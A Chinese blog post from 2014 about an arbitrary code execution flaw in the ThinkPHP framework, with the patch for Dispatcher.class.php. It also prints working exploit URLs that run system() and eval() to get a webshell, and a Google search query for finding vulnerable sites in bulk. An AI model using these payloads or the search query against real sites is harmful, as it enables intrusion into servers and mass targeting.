ThinkPHP框架任意代码执行漏洞的利用及其修复方法


Posted in PHP onJuly 04, 2014

ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常用操作,单一入口模式等,在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.
 
然而近期thinkphp框架爆出了一个任意代码执行漏洞,其危害性相当的高,漏洞利用方法如下:
 

index.php/module/aciton/param1/${@print(THINK_VERSION)}
 
index.php/module/aciton/param1/${@function_all()}

其中的function_all代表任何函数,比如:

index.php/module/aciton/param1/${@phpinfo()}

就可以获取服务器的系统配置信息等。

index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al

可以列出网站文件列表

index.php/module/action/param1/{${eval($_POST[s])}}

就可以直接执行一句话代码,用菜刀直接连接.

这样黑客们就可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。
 
thinkphp框架执行任意代码漏洞修复方法:
 
用户可下载官方发布的补丁:
 
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
 
或者或者直接修改源码:

将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

修改为:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));

将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。
 
注:本文仅供学习参考使用,请不要用于非法用途。

希望本文所述对大家基于ThinkPHP框架的PHP程序设计有所帮助。

PHP 相关文章推荐
php 删除cookie和浏览器重定向
Mar 16 PHP
php遍历数组的方法分享
Mar 22 PHP
php读取csv实现csv文件下载功能
Dec 18 PHP
php foreach正序倒序输出示例代码
Jul 01 PHP
Yii使用CLinkPager分页实例详解
Jul 23 PHP
跟我学Laravel之配置Laravel
Oct 15 PHP
PHP实现原比例生成缩略图的方法
Feb 03 PHP
PHP实现递归目录的5种方法
Oct 27 PHP
Json_decode 解析json字符串为NULL的解决方法(必看)
Feb 17 PHP
使用composer命令加载vendor中的第三方类库 的方法
Jul 09 PHP
laravel框架路由分组,中间件,命名空间,子域名,路由前缀实例分析
Feb 18 PHP
详解Laravel制作API接口
May 31 PHP
php实现批量压缩图片文件大小的脚本
Jul 04 #PHP
PHP实现的英文名字全拼随机排号脚本
Jul 04 #PHP
PHP临时文件的安全性分析
Jul 04 #PHP
PHP curl实现抓取302跳转后页面的示例
Jul 04 #PHP
PHP不用递归遍历目录下所有文件的代码
Jul 04 #PHP
对于ThinkPHP框架早期版本的一个SQL注入漏洞详细分析
Jul 04 #PHP
PHP+Memcache实现wordpress访问总数统计(非插件)
Jul 04 #PHP
You might like
DOTA2 6.87版本后新眼位详解攻略
2020/04/20 DOTA
十天学会php之第七天
2006/10/09 PHP
PHP echo,print,printf,sprintf函数之间的区别与用法详解
2013/11/27 PHP
form自动提交实例讲解
2017/07/10 PHP
javascript 获取网页参数系统
2008/07/19 Javascript
jquery tablesorter.js 支持中文表格排序改进
2009/12/09 Javascript
简单的前端js+ajax 购物车框架(入门篇)
2011/10/29 Javascript
浅析jQuery对select操作小结(遍历option,操作option)
2013/07/04 Javascript
jquery统计复选框选中示例
2013/11/05 Javascript
网页瀑布流布局jQuery实现代码
2016/10/21 Javascript
JS实现的五级联动菜单效果完整实例
2017/02/23 Javascript
vue router 跳转时打开新页面的示例方法
2019/07/28 Javascript
js+springMVC 提交数组数据到后台的实例
2019/09/21 Javascript
[43:24]完美世界DOTA2联赛PWL S3 INK ICE vs DLG 第二场 12.12
2020/12/17 DOTA
python双向链表实现实例代码
2013/11/21 Python
详解Django解决ajax跨域访问问题
2018/08/24 Python
python使用matplotlib绘制热图
2018/11/07 Python
django解决跨域请求的问题
2018/11/11 Python
python hbase读取数据发送kafka的方法
2018/12/27 Python
python用WxPython库实现无边框窗体和透明窗体实现方法详解
2020/02/21 Python
python如何将两张图片生成为全景图片
2020/03/05 Python
Python列表元素删除和remove()方法详解
2021/01/04 Python
HTML5录音实践总结(Preact)
2020/05/07 HTML / CSS
印尼披萨外送专家:Domino’s Pizza印尼
2017/12/28 全球购物
Jimmy Choo美国官网:周仰杰鞋子品牌
2018/06/08 全球购物
网络工程专业毕业生推荐信
2013/10/28 职场文书
打架检讨书800字
2014/01/10 职场文书
驾驶员培训方案
2014/05/01 职场文书
2015年度优秀员工自荐书
2015/03/06 职场文书
2015年上半年物业工作总结
2015/03/30 职场文书
婚宴来宾致辞
2015/07/28 职场文书
2016预备党员培训心得体会
2016/01/08 职场文书
党员廉政准则心得体会
2016/01/20 职场文书
担保书怎么写 ?
2019/04/22 职场文书
如何制定一份可行的计划!
2019/06/21 职场文书
SQL Server中锁的用法
2022/05/20 SQL Server